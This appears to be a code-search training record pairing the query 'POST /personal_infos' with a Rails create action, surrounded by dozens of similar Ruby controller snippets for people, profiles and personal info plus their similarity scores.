"def create\n @personal_info = current_user.create_personal_info(params[:personal_info])\n\n respond_to do |format|\n if @personal_info.save\n format.html { redirect_to user_path(current_user), notice: 'Personal info was successfully created.' }\n format.json { render json: @personal_info, status: :created, location: @personal_info }\n else\n format.html { render action: \"new\" }\n format.json { render json: @personal_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @person = Person.find_by_guid!(params[:id])\n\n respond_to do |format|\n format.json { render :json => PersonPresenter.new(@person, current_user) }\n end\n end",
"def new\n @personal_account = PersonalAccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @personal_account }\n end\n end",
"def show\n @interest = Interest.find(params[:id])\n creator = User.find(@interest.user_id)\n creatorName = creator.name\n\n respond_to do |format|\n format.html #show.html.erb\n format.json {render json: @interest}\n end\n end",
"def show\n\t\tperson = Person.find_by_id(self.params[\"id\"].to_i)\n\t\tif person\n\t\t\trender json: {id: person.id, name: person.name, favoriteCity: person.favoriteCity}\n\t\telse\n\t\t\trender body: 'Person Not Found', status: 404\n\t\tend\n\tend",
"def index\n @person = Person.find((params[:person_id]))\n @person_identification_docs = PersonIdentificationDoc.where(\"person_id = ?\", params[:person_id])\n\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @person_identification_docs }\n end\n end",
"def show\n @personaje = Personaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personaje }\n end\n end",
"def show\n @general_information = GeneralInformation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @general_information }\n end\n end",
"def show\n @persona = Persona.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @persona }\n end\n end",
"def index\n @profile_personal_details = ProfilePersonalDetail.all\n end",
"def create\n user = current_user\n @personal_info = user.create_personal_info(params[:personal_info])\n\n respond_to do |format|\n if @personal_info.save\n format.html { redirect_to user_path, notice: 'Personal info was successfully created.' }\n format.json { render json: @personal_info, status: :created, location: @personal_info }\n else\n format.html { render action: \"new\" }\n format.json { render json: @personal_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @projects_person = ProjectsPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @projects_person }\n end\n end",
"def show\n @person = User.friendly.find(params[:id])\n add_breadcrumb @person.nickname, cooperative.person_path(@person)\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render :json => @person }\n end\n end",
"def show\n @persona = Persona.find(params[:id])\n @users = User.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @persona }\n end\n end",
"def show\n if @person\n render json: @person\n else\n # :not_found is the http status code 404\n render status: :not_found\n end\n end",
"def person(id)\n get(\"/catalog/people/#{id.to_s}\")\n end",
"def show\n profile = Profile.find(params[:id])\n render status: 200, json: profile\n end",
"def show\n @type_person = TypePerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @type_person }\n end\n end",
"def get_default_profile \n get(\"/profiles.json/default\")\nend",
"def create\n @personal_info = PersonalInfo.new(personal_info_params)\n respond_to do |format|\n if @personal_info.save\n format.html { redirect_to students_login_path, notice: 'Personal info was successfully created.' }\n format.json { render :show, status: :created, location: @personal_info }\n else\n format.html { render :new }\n format.json { render json: @personal_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @notice = @person.notices.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @notice }\n end\n end",
"def show\n @persona = Persona.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @persona }\n end\n end",
"def show\n respond_to do |format|\n people = @mob.user_idz.split(',').map{|i| User.find(i).name }.join(', ')\n format.json { render json: @mob.attributes.merge(people: people, users: @mob.users, date: Time.now.strftime('%-m/%-d/%Y')) }\n end\n end",
"def show\n @personnage = Personnage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personnage }\n end\n end",
"def get_people_info(page_size=2)\n\t\toptions = {\n\t\t\theaders: headers,\n\t\t\tquery: { page_size: page_size }\n\t\t}\n\t\tresult = self.class.get(\"/people/#{display_name}/#{email_address}/#{title}\", options)\n\tend",
"def show\n @person = Person.find((params[:person_id]))\n @person_identification_doc = PersonIdentificationDoc.find(params[:id])\n #Checks if the person is owner of this Identification Doc\n if @person_identification_doc.person_id == @person.id\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @person_identification_doc }\n end\n else\n respond_to do |format|\n format.html { redirect_to person_person_identification_docs_path, :notice => \"Este registro não existe.\"}\n format.json { render :json => @person_identification_doc }\n end\n end\n end",
"def show\n @person = Person.find(params[:id])\n @registry = Registry.where('email = ?', @person.email).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n\t\t \t\tpersona = Persona.find(params[:id])\n\t\t \t\trender json: {status: 'SUCCESS', message:'Loaded persona', data:persona},status: :ok\n\t\t \tend",
"def show\n @profile = current_user.profile\n\n # ToDo: error message if no profile is found for user\n\n puts 'Got profile='\n pp @profile\n \n\n puts 'got other_names='\n pp @profile.other_names\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @profile }\n format.json { render :json => @profile }\n end\n \n end",
"def show\n @profile = @user.profile\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end",
"def set_profile_personal_detail\n @profile_personal_detail = ProfilePersonalDetail.find(params[:id])\n end",
"def new\n @personal = Personal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @personal }\n end\n end",
"def show\n @expert_personal = ExpertPersonal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expert_personal }\n end\n end",
"def get_person(id)\n self.class.get(url(\"people/#{id}\"), headers: @token.headers).parsed_response\n end",
"def show\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end",
"def show\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end",
"def show\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end",
"def show\n @personerium = Personerium.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personerium }\n end\n end",
"def show\n @missing_person = MissingPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @missing_person }\n end\n end",
"def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end",
"def show\n p params\n p \"just herer for checking\"\n #@profile = Profile.find(params[:id])\n @user = User.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n @objet = Objet.find(params[:id])\n @personnage = @objet.personnage\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @objet }\n end\n end",
"def show\n @meal_profile = MealProfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meal_profile }\n end\n end",
"def set_information_personal\n @information_personal = InformationPersonal.find(params[:id])\n end",
"def get_profile_information\n # body = {\n # cmd: \"get_profile_information\"\n # }\n\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render :json => @person_hash }\n format.xml { render :xml => @person_hash }\n end\n end",
"def show\n @person = Person.find(params[:id])\n @hair_colours = Person.get_hair_colours\n @eye_colours = Person.get_eye_colours\n @heights_feet = Person.get_heights_feet\n @heights_inches = Person.get_heights_inches\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n respond_with(@person)\n end",
"def show\n @profile = current_user.profile\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end",
"def show\n @tasks_person = TasksPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tasks_person }\n end\n end",
"def show\n creator = Creator.find(params[:id])\n if !creator.nil?\n render json: creator, status: :ok\n else\n render json: creator.errors, status: :not_found\n end\n end",
"def show\n # When a http GET request to '/users/1' is received, have it show,\n # in json format, user 1's information.\n @id = params[:id]\n @user = User.find(@id)\n render json: @user\n end",
"def new\n @user_person = UserPerson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_person }\n end\n end",
"def show\n @apprentice = Apprentice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @apprentice }\n end\n end",
"def new\n @person_interest = PersonInterest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person_interest }\n end\n end",
"def set_personal_info\n @personal_info = PersonalInfo.find_by(users_id: session[:user_id])\n end",
"def show\n @info_page = InfoPage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @info_page }\n end\n end",
"def show\n @information = Information.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @information }\n end\n end",
"def show\n @university_profile = UniversityProfile.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @university_profile }\n end\n end",
"def personal_name\n data[:personal_name]\n end",
"def show\n @contactinfo = Contactinfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contactinfo }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person }\n format.json { respond_with @person }\n end\n end",
"def show\n @hospital = Hospital.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hospital }\n end\n end"
] | [
"0.7831713",
"0.77326345",
"0.73118746",
"0.71988845",
"0.69787633",
"0.69631976",
"0.6898131",
"0.6810969",
"0.67595005",
"0.67091185",
"0.66903734",
"0.668653",
"0.6599174",
"0.6599174",
"0.65815806",
"0.65759104",
"0.65614355",
"0.65248436",
"0.65056413",
"0.64893734",
"0.6486617",
"0.6465051",
"0.6434519",
"0.6432015",
"0.6432015",
"0.6432015",
"0.6432015",
"0.6432015",
"0.6432015",
"0.6432015",
"0.6432015",
"0.6432015",
"0.6415856",
"0.64111406",
"0.6380021",
"0.6370222",
"0.6351122",
"0.6337479",
"0.6321332",
"0.6320047",
"0.6318301",
"0.63099563",
"0.63089997",
"0.6302765",
"0.6295589",
"0.629543",
"0.6294397",
"0.62863356",
"0.62765026",
"0.6271544",
"0.62682176",
"0.625253",
"0.6250026",
"0.62376505",
"0.62316215",
"0.62174374",
"0.6211715",
"0.62094265",
"0.6201767",
"0.6190665",
"0.61840725",
"0.61747724",
"0.616199",
"0.6158566",
"0.61566395",
"0.6130024",
"0.6128809",
"0.6111662",
"0.6095445",
"0.6092809",
"0.6087975",
"0.6076809",
"0.6076809",
"0.6076809",
"0.6073844",
"0.60680133",
"0.60650647",
"0.60425985",
"0.60255426",
"0.6024824",
"0.60185564",
"0.60169",
"0.6016446",
"0.60126877",
"0.60077995",
"0.6000714",
"0.5994259",
"0.5991325",
"0.5987977",
"0.5973295",
"0.5971478",
"0.5965722",
"0.5965267",
"0.5963158",
"0.59610957",
"0.5959773",
"0.5954616",
"0.59391564",
"0.5938094",
"0.59345454",
"0.5934422"
] | 0.0 | -1 |
POST /personal_infos POST /personal_infos.json | def create
@personal_info = PersonalInfo.new(personal_info_params)
respond_to do |format|
if @personal_info.save
format.html { redirect_to students_login_path, notice: 'Personal info was successfully created.' }
format.json { render :show, status: :created, location: @personal_info }
else
format.html { render :new }
format.json { render json: @personal_info.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @personal_info = current_user.create_personal_info(params[:personal_info])\n\n respond_to do |format|\n if @personal_info.save\n format.html { redirect_to user_path(current_user), notice: 'Personal info was successfully created.' }\n format.json { render json: @personal_info, status: :created, location: @personal_info }\n else\n format.html { render action: \"new\" }\n format.json { render json: @personal_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = current_user\n @personal_info = user.create_personal_info(params[:personal_info])\n\n respond_to do |format|\n if @personal_info.save\n format.html { redirect_to user_path, notice: 'Personal info was successfully created.' }\n format.json { render json: @personal_info, status: :created, location: @personal_info }\n else\n format.html { render action: \"new\" }\n format.json { render json: @personal_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_personal_information = User::PersonalInformation.new(user_personal_information_params)\n\n respond_to do |format|\n if @user_personal_information.save\n format.html { redirect_to @user_personal_information, notice: 'Personal information was successfully created.' }\n format.json { render :show, status: :created, location: @user_personal_information }\n else\n format.html { render :new }\n format.json { render json: @user_personal_information.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @personal_info = current_user.build_personal_info\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @personal_info }\n end\n end",
"def new\n @user = current_user.id\n @personal_info = PersonalInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @personal_info }\n end\n end",
"def create\n @information_personal = InformationPersonal.new(information_personal_params.merge(user_id: current_user.id)) \n \n respond_to do |format|\n if @information_personal.save\n format.html { redirect_to @information_personal, notice: t('personal_info.create_message') }\n format.json { render :show, status: :created, location: @information_personal }\n else\n format.html { render :new }\n format.json { render json: @information_personal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @profile_personal_detail = ProfilePersonalDetail.new(profile_personal_detail_params)\n\n respond_to do |format|\n if @profile_personal_detail.save\n format.html { redirect_to @profile_personal_detail, notice: 'Profile personal detail was successfully created.' }\n format.json { render :show, status: :created, location: @profile_personal_detail }\n else\n format.html { render :new }\n format.json { render json: @profile_personal_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person_info = PersonInfo.new(person_info_params(params[:person_info]))\n\n if @person_info.save\n render json: @person_info, status: :created, location: @person_info\n else\n render json: @person_info.errors, status: :unprocessable_entity\n end\n end",
"def create\n @personal_info = PersonalInfo.new(params[:personal_info])\n\n respond_to do |format|\n if @personal_info.save\n #flash[:notice] = 'PersonalInfo was successfully created.'\n format.html { redirect_to(@personal_info) }\n format.xml { render :xml => @personal_info, :status => :created, :location => @personal_info }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @personal_info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def personal_info_params\n params.require(:personal_info).permit(:fathers_name, :mothers_name, :halls_id, :date_of_birth, :address, :phone_number, :genders_id, :users_id, :batches_id)\n end",
"def create\n @personal = Personal.new(personal_params)\n @personal.user = current_user\n\n respond_to do |format|\n if @personal.save\n format.html { redirect_to new_contact_path, notice: 'Personal was successfully created.' }\n format.json { render action: 'show', status: :created, location: @personal }\n else\n format.html { render action: 'new' }\n format.json { render json: @personal.errors, status: :unprocessable_entity }\n end\n format.js {}\n end\n end",
"def personal_info_params\n params.require(:personal_info).permit(:first_name, :last_name, :email, :tel, :mobile, :birthday, :gender, :avatar, :remote_avatar_url)\n end",
"def personalinfo_params\n params.require(:personalinfo).permit(:type_human, :first_name, :middle_name, :last_name, :date_of_birth, :gender, :occupation, :member_id)\n end",
"def create\n @personal_datum = @user.personal_data.build(personal_datum_params)\n\n respond_to do |format|\n if @personal_datum.save\n format.html { redirect_to user_personal_datum_path(:id => @personal_datum.id), notice: 'Personal datum was successfully created.' }\n format.json { render :show, status: :created, location: @personal_datum }\n else\n format.html { render :new }\n format.json { render json: @personal_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member = Member.find(params[:member_id])\n\n @personalinfo = @member.build_personalinfo(personalinfo_params)\n\n respond_to do |format|\n if @personalinfo.save\n format.html { redirect_to new_member_addressinfo_path(@personalinfo.member.id), notice: 'Personalinfo was successfully created.' }\n format.json { render :show, status: :created, location: @personalinfo }\n else\n format.html { render :new }\n format.json { render json: @personalinfo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @personal = Personal.new(params[:personal])\n\n respond_to do |format|\n if @personal.save\n format.html { redirect_to(@personal, :notice => 'Personal was successfully created.') }\n format.xml { render :xml => @personal, :status => :created, :location => @personal }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @personal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @personal_account = PersonalAccount.new(params[:personal_account])\n\n respond_to do |format|\n if @personal_account.save\n format.html { redirect_to @personal_account, :notice => 'Personal account was successfully created.' }\n format.json { render :json => {:data => @personal_account , :success => true }, :status => :created, :location => @personal_account }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => {:msg => @personal_account.errors, :status => :unprocessable_entity} }\n end\n end\n end",
"def create\n current_dealer\n @dealerpersonalinfo = current_dealer().build_dealerpersonalinfo(dealerpersonalinfo_params)\n\n respond_to do |format|\n if @dealerpersonalinfo.save\n format.html { redirect_to @dealerpersonalinfo, notice: 'Dealerpersonalinfo was successfully created.' }\n format.json { render :show, status: :created, location: @dealerpersonalinfo }\n else\n format.html { render :new }\n format.json { render json: @dealerpersonalinfo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @general_information = GeneralInformation.new(params[:general_information])\n\n respond_to do |format|\n if @general_information.save\n format.html { redirect_to @general_information.personal_detail, notice: 'General information was successfully created.' }\n format.json { render json: @general_information, status: :created, location: @general_information }\n else\n format.html { render action: \"new\" }\n format.json { render json: @general_information.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @datos_personal = DatosPersonal.new(datos_personal_params)\n\n respond_to do |format|\n if @datos_personal.save\n format.html { redirect_to @datos_personal, notice: 'Datos personal was successfully created.' }\n format.json { render :show, status: :created, location: @datos_personal }\n else\n format.html { render :new }\n format.json { render json: @datos_personal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @suspicious_person_info = SuspiciousPersonInfo.new(suspicious_person_info_params)\n\n respond_to do |format|\n if @suspicious_person_info.save\n format.html { redirect_to @suspicious_person_info, notice: 'Suspicious person info was successfully created.' }\n format.json { render :show, status: :created, location: @suspicious_person_info }\n else\n format.html { render :new }\n format.json { render json: @suspicious_person_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @employee_personal = EmployeePersonal.new(employee_personal_params)\n\n respond_to do |format|\n if @employee_personal.save\n format.html { redirect_to @employee_personal, notice: 'Employee personal was successfully created.' }\n format.json { render :show, status: :created, location: @employee_personal }\n else\n format.html { render :new }\n format.json { render json: @employee_personal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def user_personal_information_params\n params.require(:user_personal_information).permit(:real_name, :address, :user_id)\n end",
"def create\n @career_info = CareerInfo.new(career_info_params)\n respond_to do |format|\n if @career_info.save\n current_user.career_infos << @career_info\n format.html { redirect_to action: :index, notice: 'Personal info was successfully created.' }\n format.json { render :show, status: :created, location: @career_info }\n else\n format.html { render :new }\n format.json { render json: @career_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def personal_params\n params.require(:personal).permit(:available_from, :required_position, :rank_id, :salary, :photo, :surname, :name, :middle_name,\n :pp_dob, :pp_pob, :country_id, :citizenship_id, :marital_id, :sex, :eye_id, :hair_id, :height_id, :weight_id, :overallsize_id, :shoe_id, :taxation_id_code, :note)\n end",
"def show\n @personal_info = current_user.personal_info\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personal_info }\n end\n end",
"def profile_personal_detail_params\n params.require(:profile_personal_detail).permit(:profile_id, :first_name, :other_names, :religion, :sex, :marital_status, :birthday, :nationality, :languages)\n end",
"def create\n @personal_profile = PersonalProfile.new(personal_profile_params)\n @personal_profile.user_id=current_user.id\n respond_to do |format|\n if @personal_profile.save\n format.html { redirect_to resume_path, notice: 'Personal profile was successfully created.' }\n format.json { render :show, status: :created, location: resume_path }\n else\n format.html { render :new }\n format.json { render json: @personal_profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def personal_datum_params\n params.require(:personal_datum).permit(:nickname, :sex, :region, :treasure, :friend_number, :phone_number, :login_password)\n end",
"def information_personal_params\n params.require(:information_personal).permit(:name, :birth_place, :born_date, :weight, :height, :gender, :club)\n end",
"def show\n @personal_info = @user.personal_info\n @user = current_user.id\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personal_info }\n end\n end",
"def datos_personal_params\n params.require(:datos_personal).permit(:nombre, :apellido, :telefono, :direccion, :user_id)\n end",
"def new\n @personal_info = PersonalInfo.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @personal_info }\n end\n end",
"def create\n @person = current_user.created_people.new(person_params_with_school)\n if @person.save\n render :show, status: :created, location: api_v2_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"def create\n @person = current_user.created_people.new(person_params_with_school)\n if @person.save\n render :show, status: :created, location: api_v1_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"def create\n @contactinfo = Contactinfo.new(params[:contactinfo])\n @contactinfo.user_id = current_user.id\n \n respond_to do |format|\n if @contactinfo.save\n format.html { redirect_to person_path(@contactinfo.people_id), :notice => 'Contactinfo was successfully created.' }\n format.json { render :json => @contactinfo, :status => :created, :location => @contactinfo }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @contactinfo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_personalinfo\n @personalinfo = Personalinfo.find(params[:id])\n end",
"def create\n @user_info = UserInfo.new(user_info_params)\n\n respond_to do |format|\n if @user_info.save\n format.html { redirect_to @user_info, notice: 'User info was successfully created.' }\n format.json { render action: 'show', status: :created, location: @user_info }\n else\n format.html { render action: 'new' }\n format.json { render json: @user_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expert_personal = ExpertPersonal.new(params[:expert_personal])\n\t@expert_personal.user_id = self.current_user.id\n respond_to do |format|\n if @expert_personal.save\n flash[:notice] = 'ExpertPersonal was successfully created.'\n redirect_to('/expert_companies')\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @expert_personal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @personal_account = PersonalAccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @personal_account }\n end\n end",
"def set_personal_info\n @personal_info = PersonalInfo.find_by(users_id: session[:user_id])\n end",
"def create\n @personal_bank = PersonalBank.new(personal_bank_params)\n\n respond_to do |format|\n if @personal_bank.save\n format.html { redirect_to @personal_bank, notice: 'Personal bank was successfully created.' }\n format.json { render :show, status: :created, location: @personal_bank }\n else\n format.html { render :new }\n format.json { render json: @personal_bank.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_personal_info_with_http_info(request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AccountApi.save_personal_info ...\"\n end\n # verify the required parameter 'request' is set\n fail ArgumentError, \"Missing the required parameter 'request' when calling AccountApi.save_personal_info\" if request.nil?\n # resource path\n local_var_path = \"/v2/user/customer/account/personalInfo\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(request)\n auth_names = ['api_key']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AccountApi#save_personal_info\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @person = Person.new(person_params)\n if @person.save\n render :show, status: :created, location: api_v2_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"def personal_profile_params\n params.require(:personal_profile).permit(:gender, :dob, :age, :height, :weight, :guardian_name, :guardian_occupation, :nationality, :mother_tongue,:user_id,:current_address,:permanent_address,:communicate,:language_speak,:language_read,:language_write,:social_status)\n end",
"def new\n\t\t@newpi=PersonalInfo.new\n\t\t# @newpi是從db實體化的物件,會傳進new.html.erb的form當參數,然後會以 :newpi 這個hash post 到method create\n\tend",
"def update\n user = current_user\n @personal_info = user.personal_info\n\n respond_to do |format|\n if @personal_info.update_attributes(params[:personal_info])\n format.html { redirect_to user_path notice: 'Personal info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @personal_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def profile_params\n params.require(:person).permit( :id, :formal_name, :informal_name, :email,\n accounts_attributes: [ :id, :name, :password, :password_confirmation, :keep_base_open ],\n contact_infos_attributes: [ :id, :info_type, :phone_no_fixed, :phone_no_mobile, :department, :detail_location, :address_id ])\n end",
"def create\n @userinfo = Userinfo.new(userinfo_params)\n print \"called create\"\n respond_to do |format|\n if @userinfo.save\n format.html { redirect_to @userinfo, notice: 'Userinfo was successfully created.' }\n format.json { render :show, status: :created, location: @userinfo }\n else\n format.html { render :new }\n format.json { render json: @userinfo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @personal_info = current_user.personal_info\n\n respond_to do |format|\n if @personal_info.update_attributes(params[:personal_info])\n format.html { redirect_to user_path(current_user), notice: 'Personal info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @personal_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @personal_characteristic = PersonalCharacteristic.new(params[:personal_characteristic])\n\n respond_to do |format|\n if @personal_characteristic.save\n format.html { redirect_to PersonalDetail.find(@personal_characteristic.personal_detail_id), notice: 'Personal characteristic was successfully created.' }\n format.json { render json: @personal_characteristic, status: :created, location: @personal_characteristic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @personal_characteristic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def person_params\n params.require( :person ).permit( :formal_name, :informal_name, :email, :involved,\n contact_infos_attributes: [ :id, :_destroy, :info_type, :phone_no_fixed,\n :phone_no_mobile, :department, :detail_location,\n :address_id ]\n )\n end",
"def profession_specific_create\n field_name_arr = params[:field_name]\n field_value_arr = params[:field_value]\n attributes_json = {}\n if (field_name_arr != nil)\n field_name_arr.each_with_index do |field_name, index|\n attributes_json[field_name] = field_value_arr[index]\n end\n end\n attributes_json = attributes_json.to_json\n ginfo_last = GeneralInfo.last # this would be last entry in general_info i.e. the one created by previous (general_info/new) page\n ginfo_last.specific_profile = attributes_json\n ginfo_last.save\n if ginfo_last.save!\n redirect_to '/show_profile'\n else\n render :action=> 'new'\n end\n end",
"def create\n @person = Person.new(person_params)\n\n if @person.save\n render json: { status: 'POST Success', id: @person.id }, status: :ok\n else\n render json: { status: 'Error', message:'Error registering a new person', person: @person.errors }, status: :unprocessable_entity\n end\n end",
"def save_personal_info_with_http_info(request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomerAccountApi.save_personal_info ...\"\n end\n # verify the required parameter 'request' is set\n if @api_client.config.client_side_validation && request.nil?\n fail ArgumentError, \"Missing the required parameter 'request' when calling CustomerAccountApi.save_personal_info\"\n end\n # resource path\n local_var_path = \"/user/customer/account/personalInfo\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(request)\n auth_names = ['api_key']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomerAccountApi#save_personal_info\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @profile = Profile.create({\n name: params['profile']['name'],\n speciality: params['profile']['speciality'],\n city: params['profile']['city'],\n user_id: current_user['id']\n })\n @profile.save\n respond_with(@profile)\n end",
"def create\n \t@person = Person.new(person_params) \t\n respond_to do |format|\n if @person.save\n format.json {render json: @person, status: :ok }\n else\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @professional_info = ProfessionalInfo.new(professional_info_params)\n\n respond_to do |format|\n if @professional_info.save\n format.html { redirect_to @professional_info, notice: 'Professional info was successfully created.' }\n format.json { render :show, status: :created, location: @professional_info }\n else\n format.html { render :new }\n format.json { render json: @professional_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @info = Info.new(info_params)\n\n respond_to do |format|\n if @info.save\n format.html { redirect_to @info, notice: 'Info was successfully created.' }\n format.json { render :show, status: :created, location: @info }\n else\n format.html { render :new }\n format.json { render json: @info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @info = Info.new(info_params)\n\n respond_to do |format|\n if @info.save\n format.html { redirect_to @info, notice: 'Info was successfully created.' }\n format.json { render :show, status: :created, location: @info }\n else\n format.html { render :new }\n format.json { render json: @info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_person = UserPerson.new(params[:user_person])\n\n respond_to do |format|\n if @user_person.save\n format.html { redirect_to @user_person, notice: 'User person was successfully created.' }\n format.json { render json: @user_person, status: :created, location: @user_person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_personal_info(request, opts = {})\n save_personal_info_with_http_info(request, opts)\n return nil\n end",
